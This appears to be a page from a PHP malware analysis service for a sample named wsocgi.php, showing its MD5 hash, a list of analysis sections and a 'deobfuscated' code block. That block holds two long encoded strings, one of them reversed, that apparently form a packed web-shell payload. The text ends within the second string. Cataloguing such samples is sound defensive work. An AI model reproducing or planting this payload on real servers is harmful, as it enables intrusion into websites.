PHP Malware Analysis

wsocgi.php

md5: f40aacca2f4cba3a558c7cbad3af32e7

Jump to:

Screenshot


Attributes

Emails

Encoding

Environment

Execution

Files

Input

Title

URLs


Deobfuscated PHP code

<?php

$stt1 = "Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNzC4pSi4upI5yUWJxqZhKfkpqcn5KqAbSzKLVMQ6W4pMRAEwlYAwA=";
$stt0 = "=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